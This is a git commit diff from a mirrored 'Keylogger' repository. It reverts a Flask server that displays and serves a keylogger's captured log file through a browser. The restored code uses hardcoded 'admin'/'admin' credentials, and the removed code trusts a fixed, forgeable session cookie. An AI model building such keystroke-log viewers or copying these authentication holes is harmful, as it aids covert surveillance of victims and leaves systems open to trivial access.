mirror of
https://github.com/0x5t4l1n/Keylogger.git
synced 2026-05-26 19:36:31 +00:00
Revert "Merge pull request #16 from Always-Amulya7/SignInUpdated"
This reverts commit 1133fbcdef51b7a73205b3f8d2af04ea842fe88c, reversing
changes made to d75b15c7bd.
This commit is contained in:
+90
-57
@@ -1,64 +1,54 @@
|
||||
from flask import Flask, render_template, send_file, request, Response, redirect, url_for, make_response, render_template_string
|
||||
from flask import Flask, render_template_string, send_file, request, Response
|
||||
import os
|
||||
import pyfiglet
|
||||
from functools import wraps
|
||||
|
||||
# Use pyfiglet for CLI art
|
||||
ascii_banner = pyfiglet.figlet_format("Web Server")
|
||||
print(ascii_banner)
|
||||
print(r"""
|
||||
__ __ _ ____
|
||||
\ \ / /__| |__ / ___| ___ _ ____ _____ _ __
|
||||
\ \ /\ / / _ \ '_ \ \___ \ / _ \ '__\ \ / / _ \ '__|
|
||||
\ V V / __/ |_) | ___) | __/ | \ V / __/ |
|
||||
\_/\_/ \___|_.__/ |____/ \___|_| \_/ \___|_|
|
||||
|
||||
app = Flask(__name__, static_folder="Sign in")
|
||||
|
||||
# Ask user where the log file is
|
||||
log_file_path = input("Enter the full path for the log file (e.g., /path/to/logfile.txt): ")
|
||||
Github:https://github.com/Stalin-143
|
||||
""")
|
||||
|
||||
# Secret key for sessions
|
||||
app.secret_key = 'your_super_secret_key_here'
|
||||
|
||||
# Serve login/signup page
|
||||
@app.route('/login')
|
||||
def login():
|
||||
return send_file('Sign in/index.html')
|
||||
|
||||
# Handle login form submission
|
||||
@app.route('/login', methods=['POST'])
|
||||
def handle_login():
|
||||
username = request.form.get('username')
|
||||
password = request.form.get('password')
|
||||
if username and password:
|
||||
resp = make_response(redirect(url_for('home')))
|
||||
resp.set_cookie('session_id', 'authenticated_user', max_age=3600, httponly=True)
|
||||
return resp
|
||||
return 'Invalid Credentials', 401
|
||||
|
||||
@app.route('/')
|
||||
def home():
|
||||
session_id = request.cookies.get('session_id')
|
||||
|
||||
if session_id == 'authenticated_user':
|
||||
if os.path.exists(log_file_path):
|
||||
with open(log_file_path, 'r') as file:
|
||||
log_contents = file.read()
|
||||
else:
|
||||
log_contents = "Log file not found."
|
||||
return render_template_string(HTML_TEMPLATE, log_file_path=log_file_path, log_contents=log_contents)
|
||||
return redirect(url_for('login'))
|
||||
app = Flask(__name__)
|
||||
|
||||
@app.route('/download')
|
||||
def download_log():
|
||||
session_id = request.cookies.get('session_id')
|
||||
if session_id == 'authenticated_user':
|
||||
if os.path.exists(log_file_path):
|
||||
return send_file(log_file_path, as_attachment=True)
|
||||
return "Log file not found."
|
||||
return redirect(url_for('login'))
|
||||
|
||||
# Logout
|
||||
@app.route('/logout')
|
||||
def logout():
|
||||
resp = make_response(redirect(url_for('login')))
|
||||
resp.set_cookie('session_id', '', expires=0)
|
||||
return resp
|
||||
# Specify the location of the log file (this should be provided by the user)
|
||||
log_file_path = input("Enter the file path: ")
|
||||
# Change this as needed
|
||||
|
||||
# Basic Authentication
|
||||
USERNAME = 'admin'
|
||||
PASSWORD = 'admin'
|
||||
|
||||
# Function to prompt for username and password if not authenticated
|
||||
def check_auth(username, password):
|
||||
return username == USERNAME and password == PASSWORD
|
||||
|
||||
# Function to require authentication for routes
|
||||
def authenticate():
|
||||
return Response(
|
||||
'Unauthorized Access. Please log in with correct credentials.', 401,
|
||||
{'WWW-Authenticate': 'Basic realm="Login Required"'})
|
||||
|
||||
# Decorator to enforce authentication
|
||||
def requires_auth(f):
|
||||
@wraps(f)
|
||||
def decorated(*args, **kwargs):
|
||||
auth = request.authorization
|
||||
if not auth or not check_auth(auth.username, auth.password):
|
||||
return authenticate()
|
||||
return f(*args, **kwargs)
|
||||
return decorated
|
||||
|
||||
# HTML template to display the log contents and provide a download link
|
||||
HTML_TEMPLATE = '''
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
@@ -67,25 +57,68 @@ HTML_TEMPLATE = '''
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Keylogger Log Viewer</title>
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; background-color: #f0f0f0; margin: 0; padding: 20px; }
|
||||
h1 { color: #333; }
|
||||
pre { background-color: #fff; padding: 15px; border: 1px solid #ccc; max-height: 400px; overflow-y: scroll; }
|
||||
.button { padding: 10px 15px; background-color: #4CAF50; color: white; text-align: center; border: none; cursor: pointer; margin-top: 20px; text-decoration: none; }
|
||||
.button:hover { background-color: #45a049; }
|
||||
.logout { background-color: #f44336; margin-left: 10px; }
|
||||
.logout:hover { background-color: #d32f2f; }
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #f0f0f0;
|
||||
margin: 0;
|
||||
padding: 20px;
|
||||
}
|
||||
h1 {
|
||||
color: #333;
|
||||
}
|
||||
pre {
|
||||
background-color: #fff;
|
||||
padding: 15px;
|
||||
border: 1px solid #ccc;
|
||||
max-height: 400px;
|
||||
overflow-y: scroll;
|
||||
}
|
||||
.button {
|
||||
padding: 10px 15px;
|
||||
background-color: #4CAF50;
|
||||
color: white;
|
||||
text-align: center;
|
||||
border: none;
|
||||
cursor: pointer;
|
||||
margin-top: 20px;
|
||||
text-decoration: none;
|
||||
}
|
||||
.button:hover {
|
||||
background-color: #45a049;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Log File: {{ log_file_path }}</h1>
|
||||
|
||||
<h2>Log File Contents:</h2>
|
||||
<pre>{{ log_contents }}</pre>
|
||||
|
||||
<a href="{{ url_for('download_log') }}" class="button">Download Log File</a>
|
||||
<a href="{{ url_for('logout') }}" class="button logout">Logout</a>
|
||||
</body>
|
||||
</html>
|
||||
'''
|
||||
|
||||
# Route to display the log file contents and provide a download link
|
||||
@app.route('/')
|
||||
@requires_auth
|
||||
def home():
|
||||
if os.path.exists(log_file_path):
|
||||
with open(log_file_path, 'r') as file:
|
||||
log_contents = file.read()
|
||||
else:
|
||||
log_contents = "Log file not found."
|
||||
|
||||
return render_template_string(HTML_TEMPLATE, log_file_path=log_file_path, log_contents=log_contents)
|
||||
|
||||
# Route to download the log file
|
||||
@app.route('/download')
|
||||
@requires_auth
|
||||
def download_log():
|
||||
if os.path.exists(log_file_path):
|
||||
return send_file(log_file_path, as_attachment=True)
|
||||
return "Log file not found."
|
||||
|
||||
if __name__ == '__main__':
|
||||
debug_mode = os.getenv('FLASK_DEBUG', 'False').lower() in ['true', '1', 't']
|
||||
app.run(debug=debug_mode)
|
||||
|
||||
Reference in New Issue
Block a user